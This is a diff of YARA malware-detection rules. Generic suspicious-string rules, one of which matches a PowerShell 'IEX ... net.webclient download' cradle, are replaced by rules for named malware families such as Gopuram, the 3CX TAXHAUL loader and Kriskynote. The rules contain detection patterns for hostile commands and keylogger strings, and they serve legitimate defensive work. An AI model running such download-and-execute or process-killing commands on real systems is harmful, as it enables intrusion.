-		id = "1dfedcb0-345c-548c-85ac-3c1e78bfd9e2"
-		date = "2018-10-04"
+		id = "8516bbfb-a2ad-565d-bf6c-71629b1831a1"
+		date = "2018-02-08"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/JaromirHorejsi/status/1047084277920411648"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_suspicious_strings.yar#L202-L218"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0a1507859354e0e0d9284befcf777c4d3883496eb96524a246a1df4f3a247aa9"
-		score = 65
+		reference = "https://www.virustotal.com/graph/#/selected/n120z79z208z189/drawer/graph-details"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_cn_campaign_njrat.yar#L77-L103"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cf532761d07ee3e84028a9071409f081a7a85728d55c215c912f0b70902f101f"
+		score = 75
 		quality = 85
-		tags = ""
-		hash1 = "13297f64a5f4dd9b08922c18ab100d3a3e6fdeab82f60a4653ab975b8ce393d5"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "173d69164a6df5bced94ab7016435c128ccf7156145f5d26ca59652ef5dcd24e"
 
 	strings:
-		$x1 = "IEX ((new-object net.webclient).download" ascii nocase
-		$fp1 = "chocolatey.org"
-		$fp2 = "Remote Desktop in the Appveyor"
-		$fp3 = "/appveyor/" ascii
+		$x1 = "%SystemRoot%\\system32\\termsrvhack.dll" fullword ascii
+		$x2 = "User-Agent:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" fullword ascii
+		$a1 = "taskkill /f /im cmd.exe" fullword ascii
+		$a2 = "taskkill /f /im mstsc.exe" fullword ascii
+		$a3 = "taskkill /f /im taskmgr.exe" fullword ascii
+		$a4 = "taskkill /f /im regedit.exe" fullword ascii
+		$a5 = "taskkill /f /im mmc.exe" fullword ascii
+		$s1 = "K7TSecurity.exe" fullword ascii
+		$s2 = "ServUDaemon.exe" fullword ascii
 
 	condition:
-		$x1 and not 1 of ($fp*)
+		uint16(0)==0x5a4d and filesize <2000KB and (pe.imphash()=="28e3a58132364197d7cb29ee104004bf" or 1 of ($x*) or 3 of them )
 }
-rule SIGNATURE_BASE_SUSP_Win32Dll_String : FILE
+import "pe"
+
+rule SIGNATURE_BASE_CN_Disclosed_20180208_Keylogger_1 : FILE
 {
 	meta:
-		description = "Detects suspicious string in executables"
+		description = "Detects malware from disclosed CN malware set"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b1c78386-c23d-5138-942a-3da90e5802cc"
-		date = "2018-10-24"
+		id = "12eff9b6-1a65-5efc-b39c-88297bdae9c3"
+		date = "2018-02-08"
 		modified = "2023-12-05"
-		reference = "https://medium.com/@Sebdraven/apt-sidewinder-changes-theirs-ttps-to-install-their-backdoor-f92604a2739"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_suspicious_strings.yar#L220-L232"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "514596e078483920cedf0091cd769d8462acfd39956c3ed3e12d630b02ebb7cc"
-		score = 65
+		reference = "https://www.virustotal.com/graph/#/selected/n120z79z208z189/drawer/graph-details"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_cn_campaign_njrat.yar#L105-L122"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "efba7004614c690e469082255cf7b5cb62cac5da2bfcc26e036e2eafcb5728f9"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "7bd7cec82ee98feed5872325c2f8fd9f0ea3a2f6cd0cd32bcbe27dbbfd0d7da1"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "c492889e1d271a98e15264acbb21bfca9795466882520d55dc714c4899ed2fcf"
 
 	strings:
-		$s1 = "win32dll.dll" fullword ascii
+		$x2 = "Process already elevated." fullword wide
+		$x3 = "GetKeyloggErLogsResponse" fullword ascii
+		$x4 = "get_encryptedPassword" fullword ascii
+		$x5 = "DoDownloadAndExecute" fullword ascii
+		$x6 = "GetKeyloggeRLogs" fullword ascii
 
 	condition:
-		filesize <60KB and all of them
+		uint16(0)==0x5a4d and filesize <1000KB and 2 of them
 }
-rule SIGNATURE_BASE_SUSP_Modified_Systemexefilename_In_File : FILE
+import "pe"
+
+rule SIGNATURE_BASE_CN_Disclosed_20180208_Mal4 : FILE
 {
 	meta:
-		description = "Detecst a variant of a system file name often used by attackers to cloak their activity"
+		description = "Detects malware from disclosed CN malware set"
 		author = "Florian Roth (Nextron Systems)"
-		id = "97d91e1b-49b8-504e-9e9c-6cfb7c2afe41"
-		date = "2018-12-11"
+		id = "6165caf5-157f-5381-a77e-6ed775187ab1"
+		date = "2018-02-08"
 		modified = "2023-12-05"
-		reference = "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_suspicious_strings.yar#L234-L248"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "45c01024c4e6a3563cd27d8a78e2236d49aa795d24f322774a14b4c7289830c4"
-		score = 65
+		reference = "https://www.virustotal.com/graph/#/selected/n120z79z208z189/drawer/graph-details"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_cn_campaign_njrat.yar#L124-L138"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "044901271adb06036e7d5aa8f2b6f893be10445bee95453c293d0025994e8d21"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "5723f425e0c55c22c6b8bb74afb6b506943012c33b9ec1c928a71307a8c5889a"
-		hash2 = "f1f11830b60e6530b680291509ddd9b5a1e5f425550444ec964a08f5f0c1a44e"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "f7549c74f09be7e4dbfb64006e535b9f6d17352e236edc2cdb102ec3035cf66e"
 
 	strings:
-		$s1 = "svchosts.exe" fullword wide
+		$s1 = "Microsoft .Net Framework COM+ Support" fullword ascii
+		$s2 = "Microsoft .NET and Windows XP COM+ Integration with SOAP" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and 1 of them
+		uint16(0)==0x5a4d and filesize <3000KB and 1 of them and pe.exports("SPACE")
 }
-rule SIGNATURE_BASE_SUSP_JAVA_Class_With_VBS_Content : FILE
+import "pe"
+
+rule SIGNATURE_BASE_CN_Disclosed_20180208_Mal5 : FILE
 {
 	meta:
-		description = "Detects a JAVA class file with strings known from VBS files"
+		description = "Detects malware from disclosed CN malware set"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5c1433e2-e2af-52aa-8a8c-691aaf15760d"
-		date = "2019-01-03"
+		id = "b1933610-9e6d-5eed-ba30-ccdd0d3a6124"
+		date = "2018-02-08"
 		modified = "2023-12-05"
-		reference = "https://www.menlosecurity.com/blog/a-jar-full-of-problems-for-financial-services-companies"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_suspicious_strings.yar#L250-L267"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5d73392437edd5e974809137c5158c17631e8a7a13464aa4df5f2dd1fd090042"
-		score = 60
-		quality = 83
+		reference = "https://www.virustotal.com/graph/#/selected/n120z79z208z189/drawer/graph-details"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_cn_campaign_njrat.yar#L140-L160"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "971276d5033477a08a1ec037cff9735667c2b4f7d9d4a7bcd88f2b1d8c348d4f"
+		score = 75
+		quality = 85
 		tags = "FILE"
-		hash1 = "e0112efb63f2b2ac3706109a233963c19750b4df0058cc5b9d3fa1f1280071eb"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "24c05cd8a1175fbd9aca315ec67fb621448d96bd186e8d5e98cb4f3a19482af4"
+		hash2 = "05696db46144dab3355dcefe0408f906a6d43fced04cb68334df31c6dfd12720"
 
 	strings:
-		$a1 = "java/lang/String" ascii
-		$s1 = ".vbs" ascii
-		$s2 = "createNewFile" fullword ascii
-		$s3 = "wscript" fullword ascii nocase
+		$s1 = "4System.Web.Services.Protocols.SoapHttpClientProtocol" fullword ascii
+		$s2 = "Server.exe" fullword ascii
+		$s3 = "System.Windows.Forms.Form" fullword ascii
+		$s4 = "Stub.Resources.resources" fullword ascii
+		$s5 = "My.Computer" fullword ascii
+		$s6 = "MyTemplate" fullword ascii
+		$s7 = "Stub.My.Resources" fullword ascii
 
 	condition:
-		( uint16(0)==0xfeca or uint16(0)==0xfacf or uint32(0)==0xbebafeca) and filesize <100KB and $a1 and 3 of ($s*)
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-rule SIGNATURE_BASE_SUSP_RAR_With_PDF_Script_Obfuscation : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Shellcode_Loader_Apr23
 {
 	meta:
-		description = "Detects RAR file with suspicious .pdf extension prefix to trick users"
-		author = "Florian Roth (Nextron Systems)"
-		id = "a3d2f5e9-3052-551b-8b2c-abcdd1ac2e48"
-		date = "2019-04-06"
+		description = "Detects Shellcode loader as seen being used by Gopuram backdoor"
+		author = "X__Junior (Nextron Systems)"
+		id = "363b67d6-9cac-513d-a545-1f256667bab8"
+		date = "2023-04-03"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_suspicious_strings.yar#L269-L285"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "05e9fd7620a70a490548d4562c80497bcf888e493b8e1188e0a0e0c274e2a7e5"
-		score = 65
+		reference = "https://securelist.com/gopuram-backdoor-deployed-through-3cx-supply-chain-attack/109344/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_mal_gopuram_apr23.yar#L3-L18"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e4e423158757c80b5e4e77f6a343323a87798c6697cf6a832aa01a146712b250"
+		score = 80
 		quality = 85
-		tags = "FILE"
-		hash1 = "b629b46b009a1c2306178e289ad0a3d9689d4b45c3d16804599f23c90c6bca5b"
+		tags = ""
+		hash1 = "6ce5b6b4cdd6290d396465a1624d489c7afd2259a4d69b73c6b0ba0e5ad4e4ad"
+		hash2 = "b56279136d816a11cf4db9fc1b249da04b3fa3aef4ba709b20cdfbe572394812"
 
 	strings:
-		$s1 = ".pdf.vbe" ascii
-		$s2 = ".pdf.vbs" ascii
-		$s3 = ".pdf.ps1" ascii
-		$s4 = ".pdf.bat" ascii
-		$s5 = ".pdf.exe" ascii
+		$op1 = { 41 C1 CB 0D 0F BE 03 48 FF C3 44 03 D8 80 7B ?? 00 75 ?? 41 8D 04 13 3B C6 74 }
+		$op2 = { B9 49 F7 02 78 4C 8B E8 E8 ?? ?? ?? ?? B9 58 A4 53 E5 48 89 44 24 ?? E8 ?? ?? ?? ?? B9 10 E1 8A C3 48 8B F0 E8 ?? ?? ?? ?? B9 AF B1 5C 94 48 89 44 24 ?? E8 }
 
 	condition:
-		uint32(0)==0x21726152 and 1 of them
+		all of them
 }
-rule SIGNATURE_BASE_SUSP_Netsh_Portproxy_Command
+import "pe"
+
+rule SIGNATURE_BASE_APT_MAL_Gopuram_Backdoor_Apr23 : FILE
 {
 	meta:
-		description = "Detects a suspicious command line with netsh and the portproxy command"
-		author = "Florian Roth (Nextron Systems)"
-		id = "cbbd2042-572c-5283-bd45-e745b36733ad"
-		date = "2019-04-20"
+		description = "Detects Gopuram backdoor"
+		author = "X__Junior (Nextron Systems)"
+		id = "3ae5ddcb-5601-5dca-85dd-0a4772577fae"
+		date = "2023-02-24"
 		modified = "2023-12-05"
-		reference = "https://docs.microsoft.com/en-us/windows-server/networking/technologies/netsh/netsh-interface-portproxy"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_suspicious_strings.yar#L287-L300"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "dbf82a908e77886af1c31c51f5f6684015cbcb22bf28876c2e1b0dd1ea5bd2b4"
-		score = 65
+		reference = "https://securelist.com/gopuram-backdoor-deployed-through-3cx-supply-chain-attack/109344/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_mal_gopuram_apr23.yar#L20-L41"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "aa3dd1f35d27d23eb775410cceae81d5b767dc0f1636aac67f2d2e988a3ed995"
+		score = 80
 		quality = 85
-		tags = ""
-		hash1 = "9b33a03e336d0d02750a75efa1b9b6b2ab78b00174582a9b2cb09cd828baea09"
+		tags = "FILE"
+		hash1 = "beb775af5196f30e0ee021790a4978ca7a7ac2a7cf970a5a620ffeb89cc60b2c"
+		hash2 = "97b95b4a5461f950e712b82783930cb2a152ec0288c00a977983ca7788342df7"
 
 	strings:
-		$x1 = "netsh interface portproxy add v4tov4 listenport=" ascii
+		$x1 = "%s\\config\\TxR\\%s.TxR.0.regtrans-m" ascii
+		$xop = { D1 E8 33 C3 D1 EB A8 01 74 ?? 81 F3 25 A3 87 DE D1 E8 33 C3 D1 EB A8 01 74 ?? 81 F3 25 A3 87 DE D1 E8 33 C3 D1 EB A8 01 74 ?? 81 F3 25 A3 87 DE D1 E8 33 C3 D1 EB A8 01 74 ?? 81 F3 25 A3 87 DE }
+		$opa1 = { 48 89 44 24 ?? 45 33 C9 45 33 C0 33 D2 89 5C 24 ?? 48 89 74 24 ?? 48 89 5C 24 ?? 89 7C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C 24 ?? 4C 8D 4C 24 ?? 44 8D 43 }
+		$opa2 = { 48 89 B4 24 ?? ?? ?? ?? 44 8D 43 ?? 33 D2 48 89 BC 24 ?? ?? ?? ?? 4C 89 B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 45 33 C0 33 D2 8B F8 E8 ?? ?? ?? ?? 8D 4F ?? E8 ?? ?? ?? ?? 4C 8B 4C 24 ?? 44 8D 43 ?? 48 8B C8 8B D7 48 8B F0 44 8B F7 E8 ?? ?? ?? ?? 48 8B 4C 24 ?? E8  }
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and filesize <2MB and pe.characteristics&pe.DLL and 1 of ($x*)) or all of ($opa*)
 }
-rule SIGNATURE_BASE_SUSP_Dropperbackdoor_Keywords : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_NK_MAL_DLL_Apr23_1 : FILE
 {
 	meta:
-		description = "Detects suspicious keywords that indicate a backdoor"
+		description = "Detects DLLs loaded by shellcode loader (6ce5b6b4cdd6290d396465a1624d489c7afd2259a4d69b73c6b0ba0e5ad4e4ad) (relation to Lazarus group)"
 		author = "Florian Roth (Nextron Systems)"
-		id = "2942ba6d-a533-5954-bfcf-417262e2fac2"
-		date = "2019-04-24"
+		id = "c2abe266-0c21-51aa-9426-46a4f59df937"
+		date = "2023-04-03"
 		modified = "2023-12-05"
-		reference = "https://blog.talosintelligence.com/2019/04/dnspionage-brings-out-karkoff.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_suspicious_strings.yar#L302-L314"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e83fa95bb2b9ac821d0a00af23834495066ad2cad38ef4f4dcc81aee75415d74"
-		score = 65
+		reference = "https://securelist.com/gopuram-backdoor-deployed-through-3cx-supply-chain-attack/109344/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_mal_gopuram_apr23.yar#L43-L75"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e0a8f3896c0119ce399e83fe3e565c66144693e84996aa3d01ca1b6315521782"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "cd4b9d0f2d1c0468750855f0ed352c1ed6d4f512d66e0e44ce308688235295b5"
+		hash1 = "69dd140f45c3fa3aaa64c69f860cd3c74379dec37c46319d7805a29b637d4dbf"
+		hash3 = "bb1066c1ca53139dc5a2c1743339f4e6360d6fe4f2f3261d24fc28a12f3e2ab9"
+		hash4 = "dca33d6dacac0859ec2f3104485720fe2451e21eb06e676f4860ecc73a41e6f9"
+		hash5 = "fe948451df90df80c8028b969bf89ecbf501401e7879805667c134080976ce2e"
 
 	strings:
-		$x4 = "DropperBackdoor" fullword wide ascii
+		$x1 = "vG2eZ1KOeGd2n5fr" ascii fullword
+		$s1 = "Windows %d(%d)-%s" ascii fullword
+		$s2 = "auth_timestamp: " ascii fullword
+		$s3 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36" wide fullword
+		$op1 = { b8 c8 00 00 00 83 fb 01 44 0f 47 e8 41 8b c5 48 8b b4 24 e0 18 00 00 4c 8b a4 24 e8 18 00 00 48 8b 8d a0 17 00 00 48 33 cc }
+		$op2 = { 33 d2 46 8d 04 b5 00 00 00 00 66 0f 1f 44 00 00 49 63 c0 41 ff c0 8b 4c 84 70 31 4c 94 40 48 ff c2 }
+		$op3 = { 89 5c 24 50 0f 57 c0 c7 44 24 4c 04 00 00 00 c7 44 24 48 40 00 00 00 0f 11 44 24 60 0f 11 44 24 70 0f 11 45 80 0f 11 45 90 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and 1 of them
+		uint16(0)==0x5a4d and filesize <500KB and (1 of ($x*) or 2 of them ) or ($x1 and 1 of ($s*) or 3 of them )
 }
-rule SIGNATURE_BASE_SUSP_SFX_Cmd : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_UNC4736_NK_MAL_TAXHAUL_3CX_Apr23_1 : FILE
 {
 	meta:
-		description = "Detects suspicious SFX as used by Gamaredon group"
-		author = "Florian Roth (Nextron Systems)"
-		id = "87e75fe6-c2d7-5cb4-9432-7c37dbfe94b8"
-		date = "2018-09-27"
+		description = "Detects TAXHAUL (AKA TxRLoader) malware used in the 3CX compromise by UNC4736"
+		author = "Mandiant"
+		id = "25a80f98-03d6-59e6-84e6-6d847a6c591e"
+		date = "2023-03-04"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_suspicious_strings.yar#L316-L328"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "592de6a2165396c4ae8f494e26e56d0a759903b51167b1531b791897dce66868"
-		score = 65
+		reference = "https://www.3cx.com/blog/news/mandiant-initial-results/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_mal_gopuram_apr23.yar#L77-L90"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f67af611d0b3d96e4aaf7b3b5e49c1fb536e61a430b79ac0a0560ef3773ba140"
+		score = 80
 		quality = 85
 		tags = "FILE"
-		hash1 = "965129e5d0c439df97624347534bc24168935e7a71b9ff950c86faae3baec403"
 
 	strings:
-		$s1 = /RunProgram=\"hidcon:[a-zA-Z0-9]{1,16}.cmd/ fullword ascii
+		$p00_0 = {410f45fe4c8d3d[4]eb??4533f64c8d3d[4]eb??4533f64c8d3d[4]eb}
+		$p00_1 = {4d3926488b01400f94c6ff90[4]41b9[4]eb??8bde4885c074}
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and 1 of them
+		uint16(0)==0x5A4D and any of them
 }
-rule SIGNATURE_BASE_SUSP_XMRIG_Reference : FILE
+rule SIGNATURE_BASE_Kriskynote_Mar17_1 : FILE
 {
 	meta:
-		description = "Detects an executable with a suspicious XMRIG crypto miner reference"
+		description = "Detects Kriskynote Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0a7324ce-90dc-5e6a-b22a-c29eccf324e9"
-		date = "2019-06-20"
+		id = "b1e5df0c-0112-5fee-85e9-cb0ca31f5234"
+		date = "2017-03-03"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/itaitevet/status/1141677424045953024"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_suspicious_strings.yar#L330-L342"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c1e6f5fc390a8ada0688885bba7ed90372915deba5a5e7e5b0cd17ec450ce240"
-		score = 70
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_kriskynote.yar#L11-L30"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cc4861f3a612cbaba6abf8ded76972941c879f04b59c29756bf0ba8083bf93ab"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "a19c4b615aa54207604b181873e614d84126b639fee2cce3ca9d5bd863f6f577"
+		hash2 = "62b41db0bf63fa45a2c2b0f5df8c2209a5d96bf2bddf82749595c66d30b7ec61"
 
 	strings:
-		$x1 = "\\xmrig\\" ascii
+		$s1 = "gzwrite64" fullword ascii
+		$opa1 = { e8 6b fd ff ff 83 f8 ff 74 65 83 7b 28 00 74 42 }
+		$opb1 = { 8a 04 08 8b 8e a4 16 00 00 88 44 24 0c 66 c7 04 }
+		$opb2 = { 89 4e 6c 89 46 74 e9 ad fc ff ff 8b 46 68 85 c0 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and 1 of them
+		uint16(0)==0x5a4d and filesize <400KB and $s1 and ($opa1 or all of ($opb*))
 }
-rule SIGNATURE_BASE_SUSP_Just_EICAR : FILE
+rule SIGNATURE_BASE_Kriskynote_Mar17_2 : FILE
 {
 	meta:
-		description = "Just an EICAR test file - this is boring but users asked for it"
+		description = "Detects Kriskynote Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e5eedd77-36e2-56a0-be0c-2553043c225a"
-		date = "2019-03-24"
+		id = "704baf41-9718-537f-9456-381a9f42fb97"
+		date = "2017-03-03"
 		modified = "2023-12-05"
-		reference = "http://2016.eicar.org/85-0-Download.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_suspicious_strings.yar#L344-L357"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a48fc3542fb07131fe0a2e25277009d21b9ca7c9e112873249e5b9c31511af79"
-		score = 40
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_kriskynote.yar#L32-L46"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4a1a7c1c75cc64df32d2f055538c5ad15418802733046471520c372a616f1e11"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "cb9a2f77868b28d98e4f9c1b27b7242fec2f2abbc91bfc21fe0573e472c5dfcb"
 
 	strings:
-		$s1 = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" fullword ascii
+		$s1 = "fgjfcn8456fgjhfg89653wetwts" fullword ascii
+		$op0 = { 33 c0 80 34 30 03 40 3d e6 21 00 00 72 f4 b8 e6 }
 
 	condition:
-		uint16(0)==0x3558 and filesize <70 and $s1 at 0
+		( uint16(0)==0x5a4d and filesize <600KB and 1 of them )
 }
-rule SIGNATURE_BASE_SUSP_PDB_Path_Keywords : FILE
+rule SIGNATURE_BASE_Kriskynote_Mar17_3 : FILE
 {
 	meta:
-		description = "Detects suspicious PDB paths"
+		description = "Detects Kriskynote Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "cbd9b331-58bb-5b29-88a2-5c19f12893a9"
-		date = "2019-10-04"
+		id = "647fac4c-2326-5a68-9890-8236022c1548"
+		date = "2017-03-03"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/stvemillertime/status/1179832666285326337?s=20"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_suspicious_strings.yar#L359-L385"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "274b4b40190b8f7e3d123fad63e2bb6b2114a3dbef062791d442109cac149b08"
-		score = 65
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_kriskynote.yar#L48-L64"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fda8a7944cdd12cadb1c902664909a8164835f660e6fa56209bc51164a90e77c"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "fc838e07834994f25b3b271611e1014b3593278f0703a4a985fb4234936df492"
 
 	strings:
-		$ = "Debug\\Shellcode" ascii
-		$ = "Release\\Shellcode" ascii
-		$ = "Debug\\ShellCode" ascii
-		$ = "Release\\ShellCode" ascii
-		$ = "Debug\\shellcode" ascii
-		$ = "Release\\shellcode" ascii
-		$ = "shellcode.pdb" nocase ascii
-		$ = "\\ShellcodeLauncher" ascii
-		$ = "\\ShellCodeLauncher" ascii
-		$ = "Fucker.pdb" ascii
-		$ = "\\AVFucker\\" ascii
-		$ = "ratTest.pdb" ascii
-		$ = "Debug\\CVE_" ascii
-		$ = "Release\\CVE_" ascii
-		$ = "Debug\\cve_" ascii
-		$ = "Release\\cve_" ascii
+		$s1 = "rundll32 %s Check" fullword ascii
+		$s2 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RecentDocs" fullword ascii
+		$s3 = "name=\"IsUserAdmin\"" fullword ascii
+		$s4 = "zok]\\\\\\ZZYYY666564444" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and 1 of them
+		( uint16(0)==0x5a4d and filesize <2000KB and 2 of them )
 }
-rule SIGNATURE_BASE_SUSP_Disable_ETW_Jun20_1
+rule SIGNATURE_BASE_Apt_Win32_Dll_Rat_Hizorrat : FILE
 {
 	meta:
-		description = "Detects method to disable ETW in ENV vars before executing a program"
-		author = "Florian Roth (Nextron Systems)"
-		id = "ea5dee09-959e-5ef2-8f84-5497bdef0a05"
-		date = "2020-06-06"
+		description = "Detects hiZor RAT"
+		author = "Florian Roth"
+		id = "06fd02f2-2630-5aac-8011-67d67ff42c3f"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://gist.github.com/Cyb3rWard0g/a4a115fd3ab518a0e593525a379adee3"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_suspicious_strings.yar#L387-L405"
